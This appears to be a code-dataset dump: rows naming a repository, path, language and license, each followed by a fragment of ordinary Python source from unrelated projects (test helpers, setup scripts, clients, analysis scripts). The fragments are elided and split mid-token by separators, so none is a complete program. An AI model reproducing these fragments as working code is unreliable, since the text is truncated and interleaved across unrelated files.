# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# ... | enchmark | finished")
print_summary(REPEATS, REPEATS)
def main():
"""Run the benchmark."""
benchmark()
if __name__ == "__main__":
main()
|
facebookexperimental/eden | eden/hg-server/tests/get-with-headers.py | Python | gpl-2.0 | 2,434 | 0.000411 | #!/usr/bin/env python
"""This does HTTP GET requests given a host:port and path and returns
a subset of the headers plus the body of the result."""
from __future__ import absolute_import, print_function
import json
import os
import sys
from edenscm.mercurial import util
httplib = util.httplib
try:
import msv... | ys.argv.remove("--twice")
twice = True
headeronly = False
if "--headeronly" in sys.argv:
sys.argv.remove("--headeronly")
headeronly = True
formatjson = Fal | se
if "--json" in sys.argv:
sys.argv.remove("--json")
formatjson = True
hgproto = None
if "--hgproto" in sys.argv:
idx = sys.argv.index("--hgproto")
hgproto = sys.argv[idx + 1]
sys.argv.pop(idx)
sys.argv.pop(idx)
tag = None
def request(host, path, show):
assert not path.startswith("/"), ... |
mcanthony/nupic | setup.py | Python | agpl-3.0 | 4,025 | 0.00472 | # ----------------------------------------------------------------------
# Numenta Platform for Intelligent Computing (NuPIC)
# Copyright (C) 2015, Numenta, Inc. Unless you have an agreement
# with Numenta, Inc., for a separate license for this software code, the
# following terms and conditions apply:
#
# This progra... | d a copy of the GNU Affero Public License
# along with this program. If not, see http://www.gnu.org/licenses.
#
# http://numenta.org/licenses/
# ----------------------------------------------------------------------
"""Installation script for Python nupic package."""
import os
import setuptools
import sys
from setu... | sion from local file.
"""
with open(os.path.join(REPO_DIR, "VERSION"), "r") as versionFile:
return versionFile.read().strip()
def parse_file(requirementFile):
try:
return [
line.strip()
for line in open(requirementFile).readlines()
if not line.startswith("#")
]
except IOError:
... |
RalfBarkow/Zettelkasten | venv/lib/python3.9/site-packages/pip/_internal/index/__init__.py | Python | gpl-3.0 | 30 | 0 | """Index | interaction code
" | ""
|
rsalmei/clearly | clearly/utils/colors.py | Python | mit | 1,146 | 0 | from typing import List, TypeVar
C = TypeVar('C') # how to constrain to only the closure below?
def color_factory(color_code: str) -> C:
def apply(text: str, format_spec: str = '') -> str:
return color_code + format(text, format_spec) + '\033[0m'
def mix(*colors: C) -> List[C]:
return [colo... | RED_BOLD, RED_DIM = RED.mix(BOLD, DIM)
MAGENTA_BOLD, MAGENTA_DIM = MAGENTA.mix(BOLD, DIM)
CYAN_BOLD, CYAN_DIM = CYAN.mix(BOLD, DIM)
ORANGE_BOLD, ORAN | GE_DIM = ORANGE.mix(BOLD, DIM)
|
erinspace/osf.io | osf_tests/test_files.py | Python | apache-2.0 | 2,401 | 0.002499 | import pytest
from django.contrib.contenttypes.models import ContentType
from addons.osfstorage import settings as osfstorage_settings
from osf.models import BaseFileNode, Folder, File
from osf_tests.factories import (
UserFactory,
ProjectFactory
)
pytestmark = pytest.mark.django_db
@pytest.fixture()
def us... | 2 BaseFileNodes
assert BaseFileNode.active.filter(target_object_id=project. | id, target_content_type=content_type_for_query).count() == 2
def test_folder_update_calls_folder_update_method(project, create_test_file):
file = create_test_file(target=project)
parent_folder = file.parent
# the folder update method should be the Folder.update method
assert parent_folder.__class__.upd... |
ludmilamarian/invenio | invenio/legacy/oairepository/server.py | Python | gpl-2.0 | 34,384 | 0.006893 | # This file is part of Invenio.
# Copyright (C) 2009, 2010, 2011, 2014, 2015 CERN.
#
# Invenio is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License as
# published by the Free Software Foundation; either version 2 of the
# License, or (at your option) any later v... | return: the OAI footer.
"""
out = ""
if verb:
out += "</%s>\n | " % (verb)
out += "</OAI-PMH>\n"
return out
def get_field(recid, field):
"""
Gets list of field 'field' for the record with 'recid' system number.
"""
digit = field[0:2]
bibbx = "bib%sx" % digit
bibx = "bibrec_bib%sx" % digit
query = "SELECT bx.value FROM %s AS bx, %s AS bibx WHE... |
rchurch4/georgetown-data-science-fall-2015 | analysis/clusterings/clustering.py | Python | mit | 4,732 | 0.01585 | # clustering.py
# cluster yelp and TA data
#
# Rob Churchill
#
# NOTE: IN ORDER TO GET ANY VISUALIZATIONS OUT OF THIS SCRIPT,
# YOU MUST PUT THIS IN AN IPYTHON NOTEBOOK OR SOMETHING SIMILAR
#
# NOTE: I learned to do this in my data science class last semester. If you are looking for plagiarism things, you will a... | ating, distance
y = [float(y[21]), math.log(float(y[18])+1), math.log(int(y[6])+1)]
new_yelp_ds.append(y)
# this condensed dataset is now our working dataset
yelp_dataset = np.array(new_yelp_ds)
print len(yelp_dataset)
#print np.amax(yelp_dataset[:,1])
# start kmeans. try it with 1...11 clusters to see which i... | centroids = kmeans.cluster_centers_
labels = kmeans.labels_
error[k] = kmeans.inertia_
plt.plot(range(1,len(error)),error[1:])
plt.xlabel('Number of clusters')
plt.ylabel('Error')
# run kmeans on the optimal k
kmeans = KMeans(n_clusters=2, n_init=15)
kmeans.fit_predict(yelp_dataset)
centroids = kmeans.cluster_cent... |
noutenki/descriptors | descriptors/__init__.py | Python | mit | 631 | 0 | # descriptors.__init__
#
# Expose Descriptor, Validated, | and all descriptors so they can be
# imported via "from descriptors import ..."
from __future__ import print_function, unicode_literals, division
from descriptors.Descriptor import Descriptor
from descriptors.Validated import Validated
import descriptors.handmade as | hm
import descriptors.massproduced as mm
_all_descriptors = set([
(obj_name, obj)
for module in (hm, mm)
for obj_name, obj in module.__dict__.items()
if obj.__class__.__name__ == "DescriptorMeta"])
_all_descriptors.discard(("Descriptor", Descriptor))
globals().update(_all_descriptors)
|
antont/tundra | src/Application/PythonScriptModule/pymodules_old/lib/webdav/acp/__init__.py | Python | apache-2.0 | 829 | 0 | # Copyright 2008 German Aerospace Center (DLR)
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicabl | e law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# S | ee the License for the specific language governing permissions and
# limitations under the License.
from webdav.acp.Acl import ACL
from webdav.acp.Ace import ACE
from webdav.acp.GrantDeny import GrantDeny
from webdav.acp.Privilege import Privilege
from webdav.acp.Principal import Principal
__version__ = "$LastChange... |
JDougherty/mbtapy | setup.py | Python | apache-2.0 | 355 | 0.002817 | from setupto | ols import setup
setup(
name="mbtapy",
version='0.1.0dev1',
description='Python bindings | for the MBTA-REALTIME API (v2)',
author="Joseph Dougherty",
author_email="mbtapy@jwdougherty.com",
url='https://github.com/JDougherty/mbtapy',
install_requires=['requests'],
license='LICENSE',
packages=['mbtapy'],
)
|
FR4NK-W/osourced-scion | python/lib/rev_cache.py | Python | apache-2.0 | 5,118 | 0.001172 | # Copyright 2017 ETH Zurich
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, sof... | rue
if rev_info.p.epoch > stored_info.p.epoch:
self._cache[key] = rev_info
if self._labels:
REVS_ADDED.labels(**self._labels).inc()
REVS_REMOVED.labels(**self._labels).inc()
REVS_BYTES.labels(**self._labels).inc(len(... | se
def _validate_entry(self, rev_info, cur_epoch=None): # pragma: no cover
"""Removes an expired revocation from the cache."""
if (ConnectedHashTree.verify_epoch(rev_info.p.epoch, cur_epoch) !=
ConnectedHashTree.EPOCH_OK):
del self._cache[_mk_key(rev_info)]
... |
romilly/pegasus-autocode | autocode/firstprog.py | Python | mit | 126 | 0 | __aut | hor__ = 'romilly'
v1 = 1.0
v2 = 1.0
n1 = 1
while v2 > 10e-6:
v2 | = v2 / n1
v1 = v1 + v2
n1 = n1 + 1
print v1
|
oVirt/jenkins | stdci_libs/inject_repos.py | Python | gpl-3.0 | 1,611 | 0.003724 | #!/usr/bin/env python3
"""inject_repos.py - CI secret repos injection.
"""
import yaml
from lxml import etree
from lxml.etree import ElementTree as ET
import argparse
from six import iteritems
def main():
repos_file, beaker_file = parse_args()
repos = load_secret_data(repos_f | ile)
inject_repos(repos, beaker_file)
def parse_args():
description_msg = 'Resolve and filter secret dat | a'
parser = argparse.ArgumentParser(description=description_msg)
parser.add_argument(
"-f", "--secret-file", type=str,
help=("Path to secret file.")
)
parser.add_argument(
"-b", "--beaker-file", type=str,
help=("Path to beaker file.")
)
args = parser.parse_args()
... |
vecnet/vnetsource | ts_emod/views/DownloadView.py | Python | mpl-2.0 | 1,812 | 0.004415 | ########################################################################################################################
# VECNet CI - Prototype
# Date: 03/21/2014
# Institution: University of Notre Dame
# Primary Authors:
# Robert Jones <Robert.Jones.428@nd.edu>
######################################################... | 'air binary',
'air json',
'humidity binary',
'humidity json',
'land_temp binary',
'land_temp json',
'rainfall binary',
'rainfall json',
'config',
'campaign',
'demographics',
]
"""
... | download.')
if 'scenario' not in request.session.keys():
return HttpResponseBadRequest('No scenario selected to download from.')
try:
my_file = request.session['scenario'].get_file_by_type(file_type)
except ObjectDoesNotExist:
set_notification('alert-error', '<strong>Error!</strong... |
bosmanoglu/adore-doris | lib/ext/snaphu-v1.4.2/cython/setup.py | Python | gpl-2.0 | 550 | 0.027273 | from distutils.core import setup
from distutils.extension import Extension
from Cython.Distutils import build_ext
setup(
cmdclas | s = {'build_ext' : build_ext},
ext_modules=[Extension("_snaphu",
sources=["_snaphu.pyx",
"../src/snaphu.c",
"../src/snaphu_solver.c",
"../src/snaphu_util.c",
"../src/snaphu_cost.c",
"../src/snaphu_cs2.c",
"../src/snaphu_io.c",
"../src/snaphu_tile.c"],
... | ile_args=['-Wstrict-prototypes', ],
language="c")]
)
|
henrysher/opslib | opslib/icsutils/jsoncli.py | Python | apache-2.0 | 2,568 | 0 | """
JsonCli: Library for CLI based on JSON
--------------------------------------
+------------------------+-------------+
| This is the JsonCli common library. |
+------------------------+-------------+
"""
import argparse
from collections import OrderedDict
from argcomplete import autocomplete
from botocore import ... | kkk = "-".join(["", changed])
group.add_argument(kkk, **vvv)
return group
def recursive_parser(parser, args):
"""
Recursive CLI Parser
"""
subparser = parser.add_subparsers(help=args.get(
'__help__', ''), dest=args.get('__dest__', ''))
for k, v in args.iteritems():
... | arser.add_parser(k, help=v.get('help', ''))
for kk, vv in v.iteritems():
if kk == 'Subparsers':
group = recursive_parser(group, vv)
elif kk == 'Arguments':
group = add_arguments(group, vv)
return parser
def parse_args(args):
"""
Create the Co... |
grahamhayes/designate | designate/tests/test_api/test_v2/test_limits.py | Python | apache-2.0 | 2,306 | 0 | # Copyright 2013 Hewlett-Packard Development Company, L.P.
#
# Author: Kiall Mac Innes <kiall@managedit.ie>
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/lice... | lf.assertIn('min_ttl', response.json)
self.assertIn('max_zone_name_length',
| response.json)
self.assertIn('max_recordset_name_length',
response.json)
self.assertIn('max_page_limit',
response.json)
absolutelimits = response.json
self.assertEqual(cfg.CONF.quota_zones, absolutelimits['max_zones'])
self.as... |
numberoverzero/bottom | tests/integ/test_local.py | Python | mit | 546 | 0 | def test_connect(client, connect):
"""Con | nect client triggers client_connect"""
connect()
assert client.triggers['CLIENT_CONNECT'] == 1
def test_ping_pong(client, server, connect, flush):
connect()
server.write("PING | :ping-message")
client.send("PONG")
# Protocol doesn't advance until loop flushes
assert not client.triggers["PING"]
assert not server.received
flush()
flush()
# Both should have been received now
assert client.triggers["PING"] == 1
assert server.received == ["PONG"]
|
althonos/fs.sshfs | fs/opener/sshfs.py | Python | lgpl-2.1 | 1,998 | 0.002002 | # coding: utf-8
from __future__ import unicode_literals
from __future__ import absolute_import
import configparser
import six
from .base import Opener
from .registry import registry
from ..subfs import ClosingSubFS
from ..errors import FSError, CreateFailed
__license__ = "LGPLv2+"
__copyright__ = "Copyright (c) 201... | ssh_host, _, dir_path = parse_result.resource.partition('/')
ssh_host, _, ssh_port = ssh_host.partition(':')
ssh_port = int(ssh_port) if ssh_port.isdigit() else 22
| params = configparser.ConfigParser()
params.read_dict({'sshfs':getattr(parse_result, 'params', {})})
ssh_fs = SSHFS(
ssh_host,
user=parse_result.username,
passwd=parse_result.password,
pkey=params.get('sshfs', 'pkey', fallback=None),
timeo... |
EdFarrell/MilkMachine | src/MilkMachine/simplekml/styleselector.py | Python | gpl-3.0 | 6,912 | 0.002315 | """
Copyright 2011-2014-2012 Kyle Lancaster
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the... | def normalstyle(self, normal):
| self._pairnormal = normal
@property
def highlightstyle(self):
"""The highlighted :class:`simplekml.Style`, accepts :class:`simplekml.Style`."""
if self._pairhighlight is None:
self._pairhighlight = Style()
return self._pairhighlight
@highlightstyle.setter
@c... |
xolox/python-executor | executor/tcp.py | Python | mit | 6,803 | 0.003675 | # Programmer friendly subprocess wrapper.
#
# Author: Peter Odding <peter@peterodding.com>
# Last Change: March 2, 2020
# URL: https://executor.readthedocs.io
"""
Miscellaneous TCP networking functionality.
The functionality in this module originated in the :class:`executor.ssh.server`
module with the purpose of faci... | ook %s).", self.endpoint, timer)
return True
except Exception:
logger.debug("No %s isn't accepting connections (took %s).", self.endpoint, timer)
return False
@required_property
def port_number(self):
"""The port number to connect to (an integer)."""
@mu... | scheme(self):
"""A URL scheme that indicates the purpose of the ephemeral port (a string, defaults to 'tcp')."""
return 'tcp'
@mutable_property
def wait_timeout(self):
"""The timeout in seconds for :func:`wait_until_connected()` (a number, defaults to 30)."""
return 30
def ... |
amanharitsh123/zulip | zerver/management/commands/rename_stream.py | Python | apache-2.0 | 1,181 | 0.000847 |
from typing import Any
from argparse import ArgumentParser
from zerver.lib.actions import do_rename_stream
from zerver.lib.str_utils import force_text
from zerver.lib.management import ZulipBaseCommand
from zerver.models import get_stream
import sys
class Command(ZulipBaseCommand):
help = """Change the stream ... | na | me>', type=str,
help='new name to rename the stream to')
self.add_realm_args(parser, True)
def handle(self, *args, **options):
# type: (*Any, **str) -> None
realm = self.get_realm(options)
assert realm is not None # Should be ensured by parser
ol... |
prezi/prezi-suds | suds/client.py | Python | lgpl-3.0 | 28,017 | 0.002498 | # This program is free software; you can redistribute it and/or modify
# it under the terms of the (LGPL) GNU Lesser General Public License as
# published by the Free Software Foundation; either version 3 of the
# License, or (at your option) any later version.
#
# This program is distributed in the hope that it will ... | s.append('Suds ( https://fedorahosted.org/suds/ )')
s.append(' version: %s' % suds.__version__)
s.append(' %s build: %s' % (build[0], build[1]))
for sd in self.sd:
s.append('\n\n%s' % unicode(sd) | )
return ''.join(s)
class Factory:
"""
A factory for instantiating types defined in the wsdl
@ivar resolver: A schema type resolver.
@type resolver: L{PathResolver}
@ivar builder: A schema object builder.
@type builder: L{Builder}
"""
def __init__(self, wsdl):
"""
... |
ndtran/l10n-switzerland | l10n_ch_lsv_dd/wizard/lsv_export_wizard.py | Python | agpl-3.0 | 21,814 | 0 | ##############################################################################
#
# Swiss localization Direct Debit module for OpenERP
# Copyright (C) 2014 Compassion (http://www.compassion.ch)
# @author: Cyril Sester <cyril.sester@outlook.com>
#
# This program is free software: you can redistribute it... | line.ml_maturity_date,
payment_order.date_scheduled,
line.name))
vals['BCZP'] = self._complete_line(
self._get_clearing(line.bank_id), 5)
vals['EDAT'] = properties.get('edat')
vals['BCZE'] = self.... | roperties.get('ben_clearing'), 5)
vals['ABSID'] = properties.get('lsv_identifier')
vals['ESE |
Elastica/kombu | kombu/tests/utils/test_utils.py | Python | bsd-3-clause | 10,301 | 0 | from __future__ import absolute_import, unicode_literals
import pickle
from io import StringIO, BytesIO
from kombu import version_info_t
from kombu import utils
from kombu.five import python_2_unicode_compatible
from kombu.utils.text import version_string_as_tuple
from kombu.tests.case import Case, Mock, patch, moc... | utils.reprcall('add', (2, 2), {'copy': True}),
)
class test_UUID(Case):
def test_uuid4(self):
self.assertNotEqual(utils.uuid4(),
utils.uuid4())
def test_uuid(self):
i1 = utils.uuid()
i2 = utils.uuid()
self.assertIsInstance(i1, str... | dump_state(Case):
@mock.stdouts
def test_dump(self, stdout, stderr):
fh = MyBytesIO()
utils.emergency_dump_state(
{'foo': 'bar'}, open_file=lambda n, m: fh)
self.assertDictEqual(
pickle.loads(fh.getvalue()), {'foo': 'bar'})
self.assertTrue(stderr.getvalu... |
rainmakeross/python-dataanalysis | app.py | Python | apache-2.0 | 871 | 0.005741 | from mongoengine import *
from models.zips import Zips
from geopy import distance
from geopy import Point
connect('scratch', host='mongodb://142.133.150.180/scratch')
# zipins = Zips(zipcode=999999, city="testlocation", loc=[1.0,1.0],pop=12345, state="ZZ").save()
locationList = []
location = {}
distanceList = []
fo... | [0], location1.loc[1])
for location2 in locationList:
if location1 != location2 and location2.city !="BEVERLY HILLS":
point2 = Point(location2.loc[0], location2.loc[1])
if(distance.distance(point1, point2) < 5):
distanceList.append(location2)
for ... | in distanceList:
print (location.city, location.zipcode)
|
tzangms/iloveck101 | setup.py | Python | mit | 662 | 0.006042 | from setuptools import setup
license = open('LICENSE.txt').read()
setup(
name='ilovec | k101',
version='0.5.2',
author='tzangms',
author_email='tzangms@gmail.com',
packages=['iloveck101'],
url='https://github.com/tzangms/iloveck101',
license=license,
description='Download images from ck101 thread',
test_suite='tests',
long_description=open('README.md').read(),
entry... | "requests==2.0.1",
"gevent==1.0",
"more-itertools==2.2",
],
)
|
JensTimmerman/radical.pilot | src/radical/pilot/__init__.py | Python | mit | 1,882 | 0.020723 | #pylint: disable=C0301, C0103, W0212, W0401
"""
.. module:: pilot
:platform: Unix
:synopsis: RADICAL-Pilot is a distributed Pilot-Job framework.
.. moduleauthor:: Ole Weidner <ole.weidner@rutgers.edu>
"""
__copyright__ = "Copyright 2013-2014, http://radical.rutgers.edu"
__license__ = "MIT"
# --------------... | s
import radical.utils as ru
import radical.utils.logger as rul
pwd = os.path.dirname (__file__)
root = "%s/.." % pwd
version, version_detail, version_branch, sdist_name, sdist_path = ru.get_version ([root, pwd])
# FIXME: the logger init will require a 'classical' ini based config, which is
# differen... | anged to json
_logger = rul.logger.getLogger ('radical.pilot')
_logger.info ('radical.pilot version: %s' % version_detail)
# ------------------------------------------------------------------------------
|
GregHilmes/pokebase | tests/test_module_loaders.py | Python | bsd-3-clause | 1,399 | 0.004289 | # -*- coding: utf-8 -*-
import unittest
from unittest.mock import patch
from hypothesis import given
from hypothesis.strategies import integers
from pokebase import APIResource, loaders
from pokebase.common import ENDPOINTS
def builder(func, func_name):
@given(id_=integers(min_value=1))
@patch('pokebase.i... | func_name = endpoint.replace('-', '_' | )
func = getattr(loaders, func_name)
setattr(cls, 'testLoader_{}'.format(func_name), builder(func, endpoint))
TestFunctions_loaders.setUpClass()
|
zhreshold/mxnet-ssd | evaluate/evaluate_net.py | Python | mit | 3,901 | 0.003076 | from __future__ import print_function
import os
import sys
import importlib
import mxnet as mx
from dataset.iterator import DetRecordIter
from config.config import cfg
from evaluate.eval_metric import MApMetric, VOC07MApMetric
import logging
from symbol.symbol_factory import get_symbol
def evaluate_net(net, path_imgre... | net = get_symbol(net, data_shape[1], num_classes=num_classes,
nms_thresh=nms_thresh, force_suppress=force_nms)
if not 'label' in net.list_arguments():
label = mx.sym.Variable(name='label')
net = mx.sym.Group([net, label])
# init module
mod = mx.mod.Module(net, la | bel_names=('label',), logger=logger, context=ctx,
fixed_param_names=net.list_arguments())
mod.bind(data_shapes=eval_iter.provide_data, label_shapes=eval_iter.provide_label)
mod.set_params(args, auxs, allow_missing=False, force_init=True)
# run evaluation
if voc07_metric:
metric = VOC07M... |
ucoin-io/cutecoin | update_ts.py | Python | mit | 1,724 | 0.00174 | import sys, os, multiprocessing, subprocess, time
src = os.path.abspath(os.path.join(os.path.dirname(__file__), 'src', 'sakia'))
res = os.path.abspath(os.path.join(os.path.dirname(__file__), 'res'))
pro_file_template = """
FORMS = {0}
SOURCES = {1}
TRANSLATIONS = {2}
"""
def generate_pro():
sources = []
form... | with('_uic.py'):
sources.append(os.path.join(root, f))
else:
continue
print(os.path.join(root, f))
for root, dirs, files in os.walk(res):
for f in files:
if f.endswith('.ui'):
forms.append(os.path.join(root, f))
... | continue
print(os.path.join(root, f))
with open(project_filename, 'w') as outfile:
outfile.write(pro_file_template.format(""" \\
""".join(forms),
""" \\
""".join(sources),
""" \\
""".join(tran... |
gsi-upm/soba | projects/seba/run.py | Python | mit | 3,404 | 0.016745 | from soba.models.continuousModel import ContinuousModel
import soba.visualization.ramen.mapGenerator as ramen
import soba.run
from collections import OrderedDict
import json
from time import time
import sys
from model import SEBAModel
from visualization.back import Visualization
import datetime as dt
aStar = False
... | s': [], 'hazard': tim | eHazard}
# Occupancy atributtes
jsonsOccupants = []
strategy = strategies[0]
N = 40
NDis = 0
fov = True
speed = 1.38
speedDis = 0.7
#states = OrderedDict([('Free time','out'), ('Rest', 'wp'), ('Lunch','out'), ('Work', 'wp')])
states = OrderedDict([('Free time','out'), ('Lunch','out'), ('Work', 'wp')])
schedule... |
webgovernor/gitgate | setup.py | Python | mit | 856 | 0.031542 | #!/usr/bin/env python
"""
Copyright (c) 2012, Aaron Meier
All rights reserved.
See LICENSE for more information.
"""
from distutils.core import setup
import os
from gitgate import __version__
setup(name='gitgate',
version = __version__,
description = 'Dead simple gatekeeping code review for Git',
long_de... | ir={'gitgate':'gitgate'},
package_data={'gitgate':['templates/*', 'static/bootstrap3/*/*', 'static/jquery/*.js']},
scripts=['gitgate/scripts/gitgate'],
url = 'http://gitgate.nullism.com',
install_requires = ['peewe | e>=2.2.3', 'flask>=0.9', 'argparse>=1'],
license = 'MIT',
provides = ['gitgate']
)
|
et-al-Health/parserator | parserator/spotcheck.py | Python | mit | 3,434 | 0.004659 | #!/usr/bin/python
# -*- coding: utf-8 -*-
from __future__ import print_function
from builtins import zip
import pycrfsuite
def compareTaggers(model1, model2, string_list, module_name):
"""
Compare two models. Given a list of strings, prints out tokens & tags
whenever the two taggers parse a string differe... | print("*%s: "%model1, tags1)
print("%s: "%model2, tags2)
wrong_count_1 += 1
elif (tags2 != tags_true):
print("\nSTRING: ", unlabeled_string)
print("TRUE: ", tags_true)
print("%s: "%model1, tags1)
prin | t("*%s: "%model2, tags2)
wrong_count_2 += 1
else:
correct_count += 1
print("\n\nBOTH WRONG: ", wrong_count_both)
print("%s WRONG: %s" %(model1, wrong_count_1))
print("%s WRONG: %s" %(model2, wrong_count_2))
print("BOTH CORRECT: ", correct_count)
|
ftl/dxpad | tests/test_contest.py | Python | mit | 3,821 | 0.001309 | #! /usr/bin/env python3
# -*- coding: utf-8 -*-
import sys
import os
import unittest
sys.path.insert(0, os.path.abspath('..'))
import dxpad._contest as _contest
class SignalMonitor:
signal_received = False
signal_value = None
def __init__(self, signal):
signal.connect(self.signal_receiver)
... | self.assertFalse(monitor.signal_received)
qso.set_call("N1MM")
self.assertTrue(monitor.signal_received)
self.assertTrue(monitor.signal_value)
def test_set_exchange_in_valid_emits_exchange_in_is_valid(self):
| qso = _contest.CurrentQso(_contest.Exchange())
monitor = SignalMonitor(qso.exchange_in_is_valid)
qso.set_exchange_in("1")
self.assertTrue(monitor.signal_received)
self.assertTrue(monitor.signal_value)
class TestSerialExchange(unittest.TestCase):
def test_str_padding_with_zeros(se... |
cranmer/parametrized-learning | ttbar_resonance.py | Python | bsd-2-clause | 11,616 | 0.037965 | #!/usr/bin/env python
# https://github.com/svenkreiss/PyROOTUtils/blob/master/PyROOTUtils/Graph.py
__author__ = "Kyle Cranmer <kyle.cranmer@nyu.edu"
__version__ = "0.1"
'''
This is a research work in progress.
Define model mu_s*Gaus(x|alpha,sigma)+mu_b*flat(x)
Generate {x} for several {alpha}
Calculate power (expec... | oWorld stuff
w = ROOT.RooWorkspace('w')
w.factory('mx[{0},{1}]'.format( var_points[0][0],var_points[0][len(var_points[0])-1]))
w.factory('score[{0},{1}]'.format(low,high))
s = w.var('score')
| mu = w.var('mx')
adpativedatahists=[[],[]]
adpativehistpdfs=[[],[]]
for target in 0,1:
for ind in range(0,len(var_points[target])):
print "Building RooWorld stuff for target",target," index ",ind
print " mx = ", var_points[targe... |
stackmob/stackmob-python-examples | stackmob/client.py | Python | apache-2.0 | 1,397 | 0.030064 | import oauth.oauth as oauth
import httplib
import json
import sys
class BaseClient:
def __init__(self, baseURL, key, secret):
self.url = baseURL
self.connection = httplib.HTTPConnection(baseURL)
self.consumer = oauth.OAuthConsumer(key, secret)
def _execute(self, httpmethod, path, body):
request = oauth.... | sumer, None)
headers = request.to_header()
headers["Content-Type"] = "application/json"
headers["Accept"] = "application/vnd.stackmob+json; version=0"
self.connection.set_debuglevel(1)
bodyString = ""
if(body != None):
b | odyString = json.dumps(body)
self.connection.request(request.http_method, "/"+path, body=bodyString, headers=headers)
return self.connection.getresponse()
def get(self, path):
self._execute("GET", path, None)
def post(self, path, body):
self._execute("POST", path, body)
def put(self, path, body):
self._ex... |
dwillis/socialcongress | tracker/urls.py | Python | unlicense | 1,173 | 0.00682 | from django.conf.urls.defaults import patterns, inclu | de, url
from django.utils.functional import curry
from django.views.defaults import server_error, page_not_found
from tracker.api import MemberResource, ReportResource
from tastypie.api import Api
v1_api = Api(api_name='v1')
v1_api.register(MemberResource())
v1_api.register(ReportResource())
# Uncomment the next two ... | te_name='admin/500.html')
handler404 = curry(page_not_found, template_name='admin/404.html')
urlpatterns = patterns('tracker.views',
# Examples:
# url(r'^$', 'socialcongress.views.home', name='home'),
url(r'^admin/_update$', 'update', name="update"),
url(r'^admin/chamber/(?P<chamber>[-a-z]+)/$', 'chamb... |
R3v1L/evogtk | evogtk/gui/widgetlib/dbcombobox.py | Python | mit | 4,770 | 0.012159 | # -*- coding: utf-8 -*-
###############################################################################
# Copyright (C) 2008 EVO Sistemas Libres <central@evosistemas.com>
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the F... | (crp, True)
self.add_attribute(crp, 'pixbuf', 1)
# Blank and error pixbufs
self.__blankpixbuf=gtk.gdk.Pixbuf(gtk.gdk.COLO | RSPACE_RGB,True,8,1,1)
self.__errorpixbuf=self.render_icon(gtk.STOCK_DIALOG_ERROR, gtk.ICON_SIZE_MENU)
# Widget properties
if self.inmediate_validation:
self.connect('changed',self.validate)
def get_widget_data(self):
"""
Returns widget data
"""
i... |
alvaroaleman/ansible | lib/ansible/executor/stats.py | Python | gpl-3.0 | 2,779 | 0.009356 | # (c) 2012-2014, Michael DeHaan <michael.dehaan@gmail.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) an... | particular host '''
return dict(
ok = self.ok.get(host, 0),
failures = self.failures.get(host, 0),
unreachable = self.dark.get(host,0),
changed = self.changed.get(host, 0),
skipped = self.skipped.get(host, 0)
)
def set... | one):
''' allow setting of a custom stat'''
if host is None:
host = '_run'
if host not in self.custom:
self.custom[host] = {which: what}
else:
self.custom[host][which] = what
def update_custom_stats(self, which, what, host=None):
''' all... |
StratusLab/client | api/code/src/main/python/stomp/connect.py | Python | apache-2.0 | 37,671 | 0.007884 | import math
import random
import re
import socket
import sys
import threading
import time
import types
import xml.dom.minidom
try:
from cStringIO import StringIO
except ImportError:
from io import StringIO
try:
import ssl
from ssl import SSLError
DEFAULT_SSL_VERSION = ssl.PROTOCOL_SSLv3
except Imp... | _cert_file
the path to a X509 certificate
\param ssl_key_file
the path to a X509 key file
\param ssl_ca_certs
| the path to the a file containing CA certificates
to validate the server against. If this is not set,
server side certificate validation is not done.
\param ssl_cert_validator
function which performs extra validation on the client
certificate, for examp... |
dursk/pyfolio | pyfolio/__init__.py | Python | apache-2.0 | 416 | 0 | import warnings
from . import utils
from . import timeseries
from . import pos
from . import txn
from .tears import * # noqa
from .plot | ting import * # noqa
try:
from . import bayesian
except ImportError:
warnings.warn(
"Could not import bayesian submodule due to missing pymc3 dependency.",
ImportWarning)
__version__ = '0.1'
__all__ = ['utils', 'timeseries', 'pos', 'txn', 'bayesia | n']
|
planetarypy/pvl | tests/test_decoder.py | Python | bsd-3-clause | 10,166 | 0 | #!/usr/bin/env python
"""This module has tests for the pvl decoder functions."""
# Copyright 2019-2021, Ross A. Beyer (rbeyer@seti.org)
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# ... | nse.
import datetime
import itertools
import unittest
from decimal import Decimal
from pvl.decoder import PVLDecoder, ODLDecoder, PDSLabelDecoder, for_try_except
from pvl.collections import Quantity
class TestForTryExcept(unittest.TestCase):
def test_for_try_except(self):
self.assertEqual(
5... | , "7.7", "a")
)
self.assertEqual(
datetime.date(2001, 1, 1),
for_try_except(
ValueError,
datetime.datetime.strptime,
itertools.repeat("2001-001"),
("%Y-%m-%d", "%Y-%j"),
).date(),
)
class TestD... |
ginabythebay/iddocs | bcs/views.py | Python | apache-2.0 | 827 | 0 | from django.core.urlresolvers import reverse
from bakery.views import BuildableDetailView, BuildableListView
from core.views import get_build_path
from .models import BirthCer | tificate
class ListView(BuildableListView):
def __init__(self, **kwargs):
super(ListView, self).__init__(**kwargs)
ListView.build_path = get_build_path('bcs:list', 'index.html')
template_name = 'bcs/list.html'
context_object_name = 'list'
def get_queryset(self):
""" Return th... | bleDetailView):
model = BirthCertificate
template_name = 'bcs/detail.html'
context_object_name = 'bc'
def get_url(self, obj):
return reverse('bcs:detail', kwargs={'pk': obj.pk})
|
raygeeknyc/skinner | frameprocessordemo.py | Python | gpl-3.0 | 3,056 | 0.017997 | import numpy
import cv2
import time
print "Starting demo"
frameTimerDuration = 1
